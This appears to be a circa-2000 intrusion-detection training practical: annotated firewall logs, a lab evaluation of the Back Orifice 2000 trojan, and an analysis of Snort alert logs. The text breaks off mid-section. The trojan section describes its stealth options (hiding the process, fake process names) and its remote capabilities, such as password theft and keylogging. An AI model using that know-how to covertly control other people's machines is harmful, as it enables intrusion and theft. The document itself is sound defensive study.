FWIN 6/10/00 11:53:54 -5:00	209.222.171.212 (mail.integrategroup.net) ->	TCP 111 -> 111	RPC	Not pingable on 11/18/00, Registered to Firstworld Communications

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
GMT	myhost.home.com			Specific Correlations: See above
FWIN 6/10/00 14:02:58 -5:00 GMT	209.222.171.212 (mail.integrategroup.net) -> myhost.home.com	TCP 53 -> 53	DNS	

Category J: The Unknowns

Spoofed? Probably not
Description: Some connections from ephemeral ports to unknown privileged ports, some connections from ephemeral ports to ephemeral ports.
Mechanism: There are no known vulnerabilities on these ports.
Correlations: (embedded)
Active Targeting? No. No revisits.
Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – Unknown, so we assume the worst
System Countermeasures: 3 – Don't know if my config is secure against these threats
Network Countermeasures: 5 – Yet again, ZoneAlarm saves the day.

Severity = (5 + 5) – (3 + 5) = 10 – 8 = 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 11/15/00 13:38:26 -5:00 GMT	216.37.13.180 (h-216-37-13-180.aureate.com) -> myhost.home.com	TCP 1975 -> 1126	Unknown	Radiate.com - CA-based company that embeds advertising in software. Possibly generated by a freeware app I downloaded, that includes live commercials.
FWIN 11/15/00 13:41:10 -5:00 GMT	216.37.13.181 (h-216-37-13-181.aureate.com) -> myhost.home.com	TCP 1975 -> 1128	Unknown	Correlations: None Found
FWIN 8/19/00 20:26:06 -5:00 GMT	207.137.47.137 (-- nslookup failed --) -> myhost.home.com	UDP 28432 -> 28431	Unknown	Lasercom.net - California-based ISP Correlations: http://www.sans.org/y2k/122599.htm, http://www.sans.org/y2k/122899-9.htm,
FWIN 8/21/00 20:32:42 -5:00 GMT	207.137.47.137 (-- nslookup failed --) -> myhost.home.com	UDP 28432 -> 28431		http://www.sans.org/y2k/122899-1130.htm, http://www.sans.org/y2k/122899-1230.htm, http://www.sans.org/y2k/122899-1700.htm
FWIN 6/23/00 08:55:10 -5:00 GMT	12.26.137.73 (ns.webdirt.net) -> myhost.home.com	TCP 2756 -> 4045	Unknown	Landfill Mgt Site. IP Add block registered to Dialtone Internet, Inc. Correlations: None Found
FWIN 7/9/00 20:34:42 -5:00 GMT	206.239.85.197 (linuxempire.net) -> myhost.home.com	TCP 43090 -> 49760	Unknown	Hacker-ish Domain Hosting Provider. (Checkout www.linuxempire.net) Ephemeral Port -> Ephemeral Port Correlations: None Found
FWIN 6/17/00 23:09:10 -5:00 GMT	204.83.184.210 (main.nlnet.melfort.sk.ca) -> myhost.home.com	TCP 4625 -> 635	Unknown	Site in Canada. 635 Registered to RZLDBase, Tyxar (?) Correlations: None Found
FWIN 6/9/00 19:39:12 -5:00 GMT	202.101.18.178 (-- nslookup failed --) -> myhost.home.com	TCP 2188 -> 98	Unknown	IP Add block assigned to Asia Pacific NIC. (Hidden Port Trojan? - usually at 99) Correlation: http://www.netsq.com/GIAC/scans.php3
FWIN 6/17/00	210.95.93.253	TCP		

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
22:19:22 -5:00 GMT FWIN 8/8/00 19:27:50 -5:00 GMT	(-- nslookup failed --) -> myhost.home.com 202.108.255.177 (-- nslookup failed --) -> myhost.home.com	2254 -> 98 TCP 2260 -> 98		
FWIN 10/8/00 18:42:18 -5:00 GMT FWIN 10/29/00 20:18:42 -5:00 GMT	24.42.219.164 (cr111086-a.ktchnr1.on.wave.home.com) -> myhost.home.com 24.216.4.177 (24-216-4-177.hsacorp.net) -> myhost.home.com	TCP 2406 -> 20139 TCP 1872 -> 20139	Unknown	Home.com High Speed Access Corp, US-based ISP Correlations: http://www.sans.org/y2k/102300.htm, http://www.sans.org/y2k/102600.htm
FWIN 8/13/00 18:09:28 -5:00 GMT	213.188.25.2 (home.infonett.no) -> myhost.home.com	TCP 10622 -> 27069	Unknown	Norwegian ISP Correlations: None Found

1.4.9 Defensive Recommendation(s)

- Keep ZoneAlarm version/patches up to date
- Don't run any services you don't have to
- Don't open any questionable email attachments

1.4.10 Multiple Choice Test Question

What's unusual about the following detects?

```
FWIN, 6/10/00, 14:02:58 -5:00 GMT, 209.222.171.212:53, myhost.home.com:53, TCP
FWIN, 7/9/00, 15:40:38 -5:00 GMT, 216.2.176.162:109, myhost.home.com:109, TCP
FWIN, 8/5/00, 18:32:20 -5:00 GMT, 208.37.215.123:21, myhost.home.com:21, TCP
FWIN, 10/14/00, 13:40:50 -5:00 GMT, 208.191.223.169:23, myhost.home.com:23, TCP
```

a) The source and destination ports are the same
b) The destination host is on home.com
c) The source hosts are all on different networks
d) These services don't use the same source and destination ports
e) A and D
f) None of the above

[Correct Answer: **e**]

ASSIGNMENT 2 Evaluate an Attack

Assignment: You may choose any attack, reconnaissance, denial of service, exploit that operates across a network. Note that some attacks can be done using standard operating system commands so you do not have to download potentially destructive code onto your system. Fully successful entries may be posted in the IDFAQ.

- Give the URL, location, or command that you acquired the attack from
- Describe the attack including how it works
- Provide an annotated network trace of the attack in action (using Snort, tcpdump, windump, Shadow, snoop etc.)

Back Orifice 2000 v1.0
(Lame, I know, but I ran out of time…)

A Trojan client/server program for controlling/compromising Windows 2000 computers.

I acquired the bo2k installation package (bo2k_1_o_full.exe) from www.bo2k.com (a Cult of the Dead Cow website). The website advertises bo2k as the best possible administrative tool ever. Unpacking the executable give me several files, three of which are of critical interest:

- bo2k.exe 112Kb Back Orifice 2000 Server
- bo2kcfg.exe 216Kb Configuration Utility for the Back Orifice 2000 Server
- bo2kgui.exe 568Kb Back Orifice 2000 Client

The bo2k server application is extremely small and has not user interface on the bo2k server itself.

The configuration utility is a simple GUI application. Once launched, it stars a bo2k Server Configuration Wizard that leads you through the following steps:

- Select a bo2k.exe file to configure
- Select TCP or UDP communications between Client and Server
- Select a Port number
- Select an encryption type – XOR or 3DES
- Enter a password/passphrase

Once launched, the configuration utility allows the user to configure the following options on the selected binary:

- Parameters for covert file transfer (TCP or UDP, encryption used, etc.)
- Default TCP port for Client/Server communications
- Default UDP port for Client/Server communications
- The option to disable built-in modules
- The ability to change the password/passphrase
- bo2k startup options
- The following Stealth options
    - Run at Startup
    - Delete original file
    - Insidious Mode (?!)
    - Set a bogus runtime pathname
    - Hide the bo2k process in the Task Manager (equivalent to a doctored ps)
    - Set a bogus bo2k process name
    - Set a bogus bo2k service name (on NT)

I chose to configure it for good 'ol TCP 31337, but it was interesting to note that that the default TCP port was 54320. (UDP was 54321)

Using normal Windows commands did not uncover evidence of bo2k. Before the by2k server was launched the netstat (show active NBT sessions) command yielded:

```
Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    mtngt3mk0:netbios-ssn  mtndc01.motown.lmco.com:2022  ESTABLISHED
  TCP    mtngt3mk0:1094         MTN-MGRYPARIS:netbios-ssn  ESTABLISHED
```

```
  TCP    mtngt3mk0:1173         mtndc01.motown.lmco.com:netbios-ssn  TIME_WAIT
```

and the nbtstat –c command (show NetBios name in local arp cache) yielded

```
\Device\NetBT_Tcpip_{91D12844-E756-404D-A7D7-A09E9C651A98}:
Node IpAddress: [129.204.17.100] Scope Id: []

                NetBIOS Remote Cache Name Table
    Name              Type       Host Address    Life [sec]
---------------------------------------------------------
MTNDC01        <20>  UNIQUE          129.204.157.238     435
MTNDC01        <00>  UNIQUE          129.204.157.238     435
MTN-MGRYPARIS  <20>  UNIQUE          129.204.19.126      420
```

After launching the by2k server, the results were identical

```
Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    mtngt3mk0:netbios-ssn  mtndc01.motown.lmco.com:2022  ESTABLISHED
  TCP    mtngt3mk0:1094         MTN-MGRYPARIS:netbios-ssn  ESTABLISHED
  TCP    mtngt3mk0:1173         mtndc01.motown.lmco.com:netbios-ssn  TIME_WAIT

\Device\NetBT_Tcpip_{91D12844-E756-404D-A7D7-A09E9C651A98}:
Node IpAddress: [129.204.17.100] Scope Id: []

                NetBIOS Remote Cache Name Table
    Name              Type       Host Address    Life [sec]
---------------------------------------------------------
MTWN           <1C>  GROUP          129.204.157.241     582
MTNDC01        <20>  UNIQUE          129.204.157.238     307
MTN-MGRYPARIS  <20>  UNIQUE          129.204.19.126      292
```

Only a port monitor (not natively part of Win2K) showed the telltale sign:

Before	***After***
Timestamp: 5:44:13 PM Nov 20 00 Generated by: Netmon v1.4 beta 3 (Windows 2000 Pro v5.0 Service Pack 1) Remote address : *:* Local address : *:epmap Protocol : UDP Remote address : *:* Local address : *:microsoft-ds Protocol : UDP Remote address : *:* Local address : *:601 Protocol : UDP Remote address : *:* Local address : *:1025 Protocol : UDP Remote address : *:* Local address : 129.204.17.100:netbios-ns Protocol : UDP Remote address : *:* Local address : 129.204.17.100:netbios-dgm Protocol : UDP Remote address : *:* Local address : *:epmap Protocol : TCP Status : LISTEN Remote address : *:* Local address : *:microsoft-ds Protocol : TCP	Timestamp: 5:51:23 PM Nov 20 00 Generated by: Netmon v1.4 beta 3 (Windows 2000 Pro v5.0 Service Pack 1) Remote address : *:* Local address : *:135 Protocol : UDP Remote address : *:* Local address : *:445 Protocol : UDP Remote address : *:* Local address : *:601 Protocol : UDP Remote address : *:* Local address : *:1025 Protocol : UDP Remote address : *:* Local address : 129.204.17.100:137 Protocol : UDP Remote address : *:* Local address : 129.204.17.100:138 Protocol : UDP Remote address : *:* Local address : *:135 Protocol : TCP Status : LISTEN Remote address : *:* Local address : *:445 Protocol : TCP

```
Status          : LISTEN

Remote address : *:*
Local address  : *:1026
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : *:1027
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : *:5044
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : 129.204.17.100:netbios-ssn
Protocol       : TCP
Status         : LISTEN

Remote address : 129.204.157.238:1535
Local address  : 129.204.17.100:netbios-ssn
Protocol       : TCP
Status         : ESTABLISHED

Remote address : *:*
Local address  : 129.204.17.100:1094
Protocol       : TCP
Status         : LISTEN

Remote address : 129.204.19.126:netbios-ssn
Local address  : 129.204.17.100:1094
Protocol       : TCP
Status         : ESTABLISHED
```

```
Status          : LISTEN

Remote address : *:*
Local address  : *:1026
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : *:1027
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : *:5044
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : *:31337
Protocol       : TCP
Status         : LISTEN

Remote address : *:*
Local address  : 129.204.17.100:139
Protocol       : TCP
Status         : LISTEN

Remote address : mtndc01.motown.lmco.com:2022
Local address  : 129.204.17.100:139
Protocol       : TCP
Status         : ESTABLISHED

Remote address : *:*
Local address  : 129.204.17.100:1094
Protocol       : TCP
Status         : LISTEN

Remote address : MTN-MGRYPARIS:139
Local address  : 129.204.17.100:1094
Protocol       : TCP
Status         : ESTABLISHED

Remote address : mtndc01.motown.lmco.com:139
Local address  : 129.204.17.100:1173
Protocol       : TCP
Status         : TIME_WAIT
```

Connecting from the client to the server was as easy as entering an IP address and clicking a button. Once connected, there was a wide variety of amusing things the client could do to the server. The full feature set is available at www.bo2k.com, but here's a selection:

- Back Orifice Ping (on the BO port) and server version query
- Get System Info from the server (OS version, processor, free disk space, currently logged-on user, etc.)
- Get the list of passwords from the server for later cracking
- Reboot or lock-up the server
- Log all keystrokes typed at the server
- Send a pop-up message to the server's screen (my favorite)
- Redirect all traffic from specified ports on the server to an IP and Port of your choosing (wonderful for man-in-the-middle attacks)
- List, Create and remove Windows shares on the server, and see who's currently using what
- List, kill and start processes on the server
- Edit the server's Windows Registry
- Grab Screen Captures from the server
- Play WAV files on the server (another favorite of mine)
- Execute all normal file and directory commands on the server
- Dynamically load and unload bo2k plug-ins on the server
- Start and stop something called "Legacy Buttplugs" (sounds unpleasant)

ASSIGNMENT 2 Evaluate an Attack

Once both client and server were up and running, I connected, did a few nasty things and then disconnected.

Snort detected my intrusion

```
[**] IDS189 - BACKDOOR ATTEMPT-Backorifice [**]
11/20-20:40:36.002185 my.net.19.126:4914 -> my.net.17.100:31337
TCP TTL:128 TOS:0x0 ID:51784  DF
**S***** Seq: 0x1A7999   Ack: 0x0   Win: 0x2000
TCP Options => MSS: 1460

[**] IDS189 - BACKDOOR ACTIVITY-Possible Backorifice [**]
11/20-20:40:36.002369 my.net.17.100:31337 -> my.net.19.126:4914
TCP TTL:128 TOS:0x0 ID:182  DF
**S***A* Seq: 0xBE75F176   Ack: 0x1A799A   Win: 0x4470
TCP Options => MSS: 1460
```

And Windump captured a trace of my attack:

```
20:40:36.001915 my.net.19.126.4914 > my.net.17.100.31337: S 1735065:1735065(0) win 8192 <mss
1460> (DF)
20:40:36.002145 my.net.17.100.31337 > my.net.19.126.4914: S 3195400566:3195400566(0) ack 1735066
win 17520 <mss 1460> (DF)
20:40:36.002193 my.net.19.126.4914 > my.net.17.100.31337: . ack 1 win 8760 (DF)
20:40:36.002352 my.net.19.126.4914 > my.net.17.100.31337: P 1:104(103) ack 1 win 8760 (DF)
20:40:36.009742 my.net.17.100.31337 > my.net.19.126.4914: P 1:259(258) ack 104 win 17417 (DF)
20:40:36.015809 my.net.19.126.4914 > my.net.17.100.31337: P 104:148(44) ack 259 win 8502 (DF)
20:40:36.029348 my.net.17.100.31337 > my.net.19.126.4914: P 259:348(89) ack 148 win 17373 (DF)
20:40:36.029461 my.net.17.100.31337 > my.net.19.126.4914: P 348:417(69) ack 148 win 17373 (DF)
. . .
20:40:53.074628 my.net.19.126.4914 > my.net.17.100.31337: P 251:402(151) ack 2548 win 7812 (DF)
20:40:53.092089 my.net.17.100.31337 > my.net.19.126.4914: P 2548:2615(67) ack 402 win 17119 (DF)
20:40:53.228660 my.net.19.126.4914 > my.net.17.100.31337: . ack 2615 win 7745 (DF)
20:40:55.652822 my.net.19.126.4914 > my.net.17.100.31337: F 402:402(0) ack 2615 win 7745 (DF)
20:40:55.653031 my.net.17.100.31337 > my.net.19.126.4914: . ack 403 win 17119 (DF)
20:40:55.655204 my.net.17.100.31337 > my.net.19.126.4914: F 2615:2615(0) ack 403 win 17119 (DF)
20:40:55.655341 my.net.19.126.4914 > my.net.17.100.31337: . ack 2616 win 7745 (DF)
```

Interesting observations:

- If the Task Manager was running when bo2k was launched, a process called bo2k appeared in the list. However, if you closed the Task Manager and opened it again, it was gone.
- Using the bo2k client to creating a directory crashed explorer on my machine. Bo2k was masquerading as Explorer at the time. Presumably bo2k generated an error, and the Win2K OS was fooled by bo2k's masquerade and killed the real Explorer.
- Telnetting to 31337 on the bo2k server and typing garbage sometimes crashed the server process and sometimes disconnected the Client

Overall, it has an amazing set of features for a 112Kb application. I was quite impressed by this little admin tool.

ASSIGNMENT 3 Analyze This!

Assignment: Download the Snort detects at http://www.sans.org/NS2000/snort/index.htm, and analyze them as if you were a consultant, evaluating GIAC Enterprises' network.

Assumptions: Since I don't know the network topology or the placement of the Snort probe, I make the following assumptions:

- The Snort probe is INSIDE a firewall, if one exists
- The Snort probe is in a location where it will NOT normally see traffic between internal nodes

Survey of Data:

Date	*Highlights / Activity of Possible Interest*
General	• Lots of short portscans (<5 hosts, <5 ports) • Lost of WinGate Trojan probes, especially
8/19	• Tiny Fragments: 212.160.15.85 -> my.net.160.109
9/2 (Sat)	• 212.141.100.97 SYN-scanned all of my.net on Port 21 • Fingerprint Attempts: 24.113.97.190 -> my.net.202.110 213.56.48.243 -> my.net.201.198 128.56.48.243 -> my.net.203.90 • 194.165.230.250 SYN-scanner most of my.net on Port 21 • Napster activity with the untrusted European net: 63.248.55.245 -> my.net.206.222, my.net.207.50, my.net.201.150 • 63.226.208.41 Portscanned and attempted to fingerprint my.net,253.41 • 212.41.61.40 SYN-scanned selected hosts on Port 21 • Interesting traffic: 207.50.222.165:1031 -> MY.NET.97.155:High • 147.208.171.139 SYN-scanned my.net.203.86 • Interesting Traffic from NCFC (Chinese Academy of Sciences Net): 159.226.124.58:high -> my.net.70.33:8765 Trojan? • **Chinese Pattern 2** between various nodes on NCFC (Chinese Academy of Sciences Net) and my.net.253.41, .253.42, and .100.230. High->25 (repeated 4-30 times) 113->High (once) (repeat pattern) This source net is on a "Watch List" • SunRPC Connect Attempts: 205.188.153.109:4000 -> MY.NET.219.26:32771 (lots of 'em) • Interesting Traffic Patterns: 210.101.101.110:111 -> MY.NET.6.15:111 SYN/FIN Scan 210.101.101.110:861 -> MY.NET.6.15:111 Connect Attempt 210.101.101.110:23 -> MY.NET.6.15:23 SYN/FIN Scan 212.204.196.241:857 -> MY.NET.6.15:32771 SunRPC Connect Attempt 63.226.208.41:28521 -> MY.NET.253.41:1 NMAP TCP ping 63.226.208.41:28517 -> MY.NET.253.41:22 SYN/FIN Scan 63.226.208.41:28518 -> MY.NET.253.41:22 Probable NMAP fingerprint attempt • SMB Name Wildcard: MY.NET.101.160 -> MY.NET.101.192 • SNMP public access: MY.NET.98.159 -> MY.NET.101.192
9/5 (Tue)	• **MISSING ALERT LOG FOR THIS DAY!** • Fingerprint Attempts: 130.234.185.71 -> MY.NET.221.170 141.30.227.175 -> MY.NET.223.106 161.184.104.111 -> MY.NET.222.154 24.180.132.70 -> MY.NET.222.198 • SYN Scan on various Ports: 24.180.174.167 -> my.net.60.11, my.net.253.52, my.net.253.42 • SYN Scan on many Ports: 216.99.200.242 -> my.net.97.216 • SYN Scan on many Ports: 209.123.109.175 -> my.net.219.118

9/6 (Wed)	• 129.186.93.133 SYN-scanned most of my.net.0.0 on Port 23 • 24.180.174.167 Port-scanned my.net.253.52 for a variety of ports (including some Trojans) • 24.113.80.28 is trying to fingerprint my.net.203.110 • 128.171.57.194 SYN-scanned on Port 23 a smaller set of hosts than 129.186.93.133 did. Follow-up to the initial Recon? • Various fingerprint attempts • Tonight, 209.123.198.156 is playing Unreal with my.net.213.10 • **Chinese Pattern 2** between various nodes on NCFC (Chinese Academy of Sciences Net) and my.net.253.42, .253.42, and .253.43. High->25 (repeated 4-30 times) 113->High (once) (repeat pattern) This source net is on a "Watch List" • 159.226.159.146 (Chinese Academy of Sciences Net) -> MY.NET.70.33:8765. Trojan? • SunRPC connection Attemtps: 193.64.205.17:56880 -> MY.NET.211.2:32771 205.188.153.98:4000 -> MY.NET.222.66:32771 • MY.NET.223.62 is Gnutella-ing with someone on the (Watchlist!-ed) European net 212.179.0.0
9/7 (Thu)	• 64.229.65.229 is SYN-scanning my.net.219.118 • 195.150.132.211 tried to fingerprint my.net.202.158 • 24.6.140.249 tried to fingerprint my.net.130.190 • 213.25.136.60 did a SYN/FIN scan of my.net.1.0 – 85.0 on port 9704 -> looking for a host that's been compromised by a rpc.statd Backdoor exploit (see Assignment 1, above…) • my.net.204.126 is now playing Unreal with 209.123.198.156 (an ISP) • Various nodes on NCFC (Chinese Academy of Sciences Net – Watch list!) talking to: my.net.6.34, my.net.253.42, my.net.100.23 • 159.226.22.44 on NCFC (Chinese Academy of Sciences Net – Watch list!) talking to: my.net.253.112 on 443 • Node on NCFC (Chinese Academy of Sciences Net – Watch list!) acting suspicious: 159.226.45.3:110 -> my.net.163.32:1134 159.226.45.3:High -> my.net.253.52:113 159.226.45.3:32801 -> my.net.6.7:25 159.226.45.3:32801 -> my.net.1.2:25 159.226.45.3:High -> my.net.100.230:113 • SunRPC Connect attempt: 205.188.153.98:4000 -> MY.NET.220.58:32771 • Someone on (Watchlist!) European net trying to connect to our mail servers: 212.179.58.4:high -> MY.NET.253.41:25, MY.NET.253.42:25
9/8 (Fri)	• 24.17.189.83 SYN-scanned the entire network on Port 21 (interspersed with OOS packets sent to my.net.130.0 • **24.17.189.83 then attempted (successfully?!?) the wu-FTP SITE EXEC exploit on my.net.150.24, my.net.150.24, my.net.202.190, my.net.202.190, my.net.202.202, my.net.99.104** • 63.144.227.22 attempted to fingerprint my.net.208.190 - twice • 207.123.169.54 did a SYN portscan of my.net.220.190 • A lot of High-port-to-high-port UDP traffic from 159.226.185.4 to my.net.97.199 • UDP Flood DoS against my.net.97.199 from two IPs: 210.125.174.11 and 159.226.185.4 • 195.130.128.202 did a Port 21 SYN-scan on select hosts in the my.net.5.0 subnet • 151.196.73.119 did a SYN Portscan against my.net.253.112. When it hit Port 22 - ssh - it lingered and tried to fingerprint the ssh server • 62.136.41.111 SYN-scanned hosts on the my.net.1.0 subnet for SubSeven.2 • 24.112.166.228 tried to fingerprint my.net.202.202 • Tiny Fragments: 213.132.131.201 -> my.net.203.62 • **Chinese Pattern 1**: nodes on NCFC (Chinese Academy of Sciences Net – Watch list!) talking to: my.net.100.230, my.net.253.41, my.net.253.42, my.net.253.43, my.net.110.150, my.net.253.43, my.net.6.7 from High->25 (repeated 4-100 times)

	• SunRPC Connect Attempt: 205.188.153.112 MY.NET.105.2 (repeated many times)
9/9 (Sat)	• 24.6.140.249 and 142.165.32.83 seem to be in cahoots in a fingerprinting of my.net.130.190 • 213.188.8.45 did a SYN scan for FTP servers on select hosts • 210.55.227.138 did a SYN scan of the my.net.2XX.0 portion of the net looking for SubSeven and NetBus • 147.208.171.139 did a full portscan of my.net.97.230 • Napster activity with that untrusted European net • 206.186.79.9 SYN-scanned the entire network for TCP 53 • SMB Wildcard Request from 129.37.160.81 -> MY.NET.100.130 • **Chinese Pattern 2** between various nodes on NCFC (Chinese Academy of Sciences Net) and my.net.253.41,.253.42,.253.43, and .100.230. High->25 (repeated 4-30 times) 113->High (once) (repeat pattern) This source net is on a "WatchList" • RPC Access attempts: 205.188.153.115:4000 -> MY.NET.53.15:32771 205.188.153.98:4000 -> MY.NET.217.82:32771 • Napster? 212.179.66.2:22756 -> MY.NET.221.94:6699 (lots of it)
9/10 (Sun)	• 206.186.79.9 did a SYN scan of the entire my.net.0.0 Class B to destination Port 53 • 212.242.100.15 attempted to fingerprint my.net.218.130 • 216.234.161.76 did a portscan of my.net.218.34 • Unreal players are back • 64.1.198.164 did a Port 21 SYN scan of my.net.222.0 • 151.17.144.213:2438 Was repeatedly trying to Wingate MY.NET.100.2:1080 • RPC Connection Attempt from the outside: 161.31.208.237:874 -> MY.NET.6.15:111
9/11 (Mon)	Busy Day! • Napster activity till just after midnight: 63.248.55.245 UDP 7777 -> my.net.204.166, 208.238, .204.126:High • 24.180.134.156 did a very fast SYN scan of the entire my.net.208.0 subnet (4:48am – 5:19am, 70+pps). The scan hit between 400-500 random-ish TCP ports on each host, skipping some hosts (as if it knew they weren't there) • Soon thereafter (6:45am – 7:06am), 210.61.144.125 did a fast SYN/FIN TCP 21 -> 21 scan of the entire my.net.0.0 Class B address space. Interspersed (hidden?) among this scan, were gems like this: Some of these: 210.61.144.125:21 -> MY.NET.179.92:21 SYNFIN **SF**** 210.61.144.125:2869 -> MY.NET.179.82:21 SYN **S***** ... 210.61.144.125:21 -> MY.NET.179.78:21 SYNFIN **SF**** 210.61.144.125:2865 -> MY.NET.179.78:21 SYN **S***** ... 210.61.144.125:21 -> MY.NET.99.51:21 SYNFIN **SF**** 210.61.144.125:2719 -> MY.NET.99.51:21 SYN **S***** And some of these: 210.61.144.125:2856 -> MY.NET.163.43:21 SYN **S***** 210.61.144.125:2832 -> MY.NET.157.7:21 SYN **S***** 210.61.144.125:2818 -> MY.NET.145.8:21 SYN **S***** 210.61.144.125:2819 -> MY.NET.145.18:21 SYN **S***** and the fact that many hosts appeared to be skipped, makes me think that Snort couldn't keep up. Also occasionally interspersed were these: 210.61.144.125:1024 -> MY.NET.1.3:53 UDP 210.61.144.125:1024 -> MY.NET.1.4:53 UDP 210.61.144.125:1024 -> MY.NET.1.5:53 UDP ...

	Is he looking up the names of interesting hosts? • Very soon after *THAT* (all within 7:23am), 193.120.216.2did a SYN scan of 17 selected my.hosts from TCP 2666 -> 53 • Soon after *THAT* (within 9:22am), 207.123.169.54 zeroed in on my.net.217.206 and MY.NET.202.150 with a SYN scan on about 250 random-ish TCP ports each • MY.NET.1.3:53 -> MY.NET.101.89:35842 UDP: External-to-Internal DNS Traffic? • Then (11:42am – 11:49am), 212.170.19.199 did a randomized-IP SYN Scan of the entire my.net.0.0 address space from High port -> 21 • Then (6:40pm – 7:32pm),168.187.26.157 did a SYN scan from my.net.0.0 – my.net.54.0 from High -> 1080 (WinGate) • Napster's back: 63.248.55.245:7777 -> usual.nodes:High • **Chinese Pattern 2** is at it again High->25 (repeated 8-30 times) 113->High (once) (repeat pattern) from NCFC nodes 159.226.115.1, and 159.226.45.3 – **PLUS a new one**: 159.226.45.3:23 -> my.net.163.32:1060 (many repeats) • 168.187.26.157 scanned most of the network for Wingate • MY.NET.97.217:1069 is trying to do a "public" string SNMP query of MY.NET.101.192:161, but only in the evening. This could be a network guy playing with new gear, or something more insidious • Tiny Fragments: 24.68.58.96 -> my.net.217.82 (twice)
9/12 (Tue)	• **MISSING PORTSCAN LOG FOR THIS DAY!** • Several big, noisy scans going on at almost the same time (between 6:00 – 18:00). Source IPs: 128.253.179.58 (every 2 sec), 141.213.191.50 (every 4 sec), 194.47.108.161 (every 2 sec) • Napster again: 63.248.55.245:7777 -> usual.nodes:High • Fast, repeated inbound traffic between European net (212.179.0.0 on Watchlist) and My.net.202.58 (1063->6688, 2pps, 10:20-10:30am) • **The Chinese Pattern 2** appears again High->25 (repeated 8+ times) 113->High (once) (repeat pattern) from both NCFC (159.226.45.3) and the ISDNNET (212.179.7.36) to my.net.253.42 and .6.7 • SunRPC connection attempt 141.213.191.50: 3787 -> MY.NET.98.160: 32771
9/13 (Wed)	• MY.NET.101.160 is doing wildcard SMB queries on MY.NET.101.192. I should not be seeing this, so this might be spoofed traffic • MY.NET.98.171 keeps trying to do an SNMP query on MY.NET.101.192 using the community string "Public". This should be checked. • 212.179.61.5 is hammering on MY.NET.204.150 from 21263 -> 2669 • **Chinese Pattern 2** appears again between NCFC and my.net.253.41,.253.42,.253.43, and .6.7. High->25 (repeated 8+ times) 113->High (once) (repeat pattern) • Traffic from 136.160.7.2 UDP 53 to my.net.115.115, .1.5, .1.4 and .1.4. • SYN scan of various local hosts from 206.18.105.224 • Fast, furious inbound traffic between European net (212.179.0.0 on Watchlist) and My.net.204.150 (21263->2669, 150packets in 6 min > 1pps) • Fast SYN Scan from 216.99.200.242 to my.net.98.188 of multiple randomized TCP and UDP ports • 63.103.51.242 is repeatedly checking my.net.98.164 for WinGate • Napster: 63.248.55.245:7777 -> High ports on my.net.204.126, my.net.208.58, and my.net.213.78 • Pseudo-randomized fast SYN Scan from 206.18.105.224 to FTP port across the entire net

	• Tiny Fragments: 24.68.58.96 -> my.net.210.242
9/14 (Thu)	• Repeated scans from 128.183.104.105 of my.net.144.50 on UDP 3506-3565 • Client/Server-like traffic from 159.226.5.94 (NCFC - Chinese Academy of Sciences Net) to my.net.100.230, my.net.253.42, my.net.253.43. This source net is on a "WatchList" • Fast, furious Traffic between European net (212.179.0.0 on Watchlist) and My.net.157.200 (Napster 6699?) heavily between 7:41 and 7:45am (2173->6699) • Fast, furious Traffic between European net (212.179.0.0 on Watchlist) and My.net.157.200.208.18 at 8:43pm (6699->2575) • Napster yet again: 63.248.55.245:7777 -> my.net.203.210, my.net.204.126, my.net.208.58, my.net.213.78 • The following systems seem to be being fingerprinted: - my.net.130.190 is having it's FTP server fingerprinted by 24.6.140.249 - my.net.218.62 is being OS fingerprinted by 207.102.30.6 • MY.NET.1.3 is talking from UDP 53 to MY.NET.101.89 on high-order ports. These might be DNS responses, but why do I see them? If MY.NET.1.3 is the local DNS server, then this might be evidence of an attack against it. • Tiny Fragments: 62.76.42.18 -> my.net.1.8, my.net.1.9, 1.10, my.net.212.86

Patterns and Conclusions about the environment:

- This is a large (Class B) network that is constantly scanned, probed and fingerprinted (especially for Wingate)
- my.net.1.3, my.net.1.4, my.net.1.5 and my,net.115.115 are most likely the local DNS servers. 1.3 might be the external server of a split-DNS configuration.
- This network probably uses UUNet as their ISP, because they often query UUNet's DNS
- 136.160.7.2 (University of MD) may be used as an off-site secondary DNS server
- my.net.100.230, my.net.253.41, my.net.253.42, my.net.253.43, my.net.110.150, my.net.253.43, my.net.6.7 are mostly likely mail servers

Possible Compromises and Things to Check out Further (in order or priority):

1. **The NCFC (Chinese Academy of Sciences) Net is the source of consistent, suspicious traffic (a.k.a. Chinese Patterns 1 & 2) to my site's mailservers - which may be compromised: my.net.100.230, my.net.253.41, my.net.253.42, my.net.253.43, my.net.110.150, my.net.253.43 and my.net.6.7**
2. **my.net.150.24, my.net.202.190, my.net.202.202, my.net.99.104 may have been compromised by the wu-FTP exploit**
3. my.net.101.89 might be a DMZ webserver, because it's always DNS-querying my.net.1.3. Verify that it's OK to see internal -> internal traffic from this host, because if it's not, then this may be a spoofed address.
4. There's a lot of Napster activity (TCP 7777) between: my.net.204.126, my.net.208.58, and my.net.213.78 and a buddy of theirs who connects over a DSL line: 63.248.55.245
5. my.net.157.200 is either compromised or a Napster host
6. 64.80.63.121 uses Queso to scan this network on a semi-regular basis – we should keep an eye on him
7. Find out what's at MY.NET.101.192 that being SNMP queried with community string "public" - and occasionally an SMB Name Wildcard request…
8. Need to investigate the Napster activity between my.net nodes and the untrusted European network

A Note on the Incompleteness of the Analysis:

Gryparis Consulting was unable to complete the analysis for the period from 8/12 – 9/2 due to unrealistic deadlines set by GIAC Enterprises for the scope of the project. Gryparis Consulting respectfully recommends that more time (and budget) be allocated for future projects.

ASSIGNMENT 4 Analysis Process

Assignment: Describe the process used in the previous Analysis

Here's what I did:

1 Downloaded the data (>20Mb of text data in 56 files – no small task.)

2 Examine the data:
- The data consists of
  - A set of Snort Alert Logs (17 text files ranging in size from 150Kb to 5Mb)
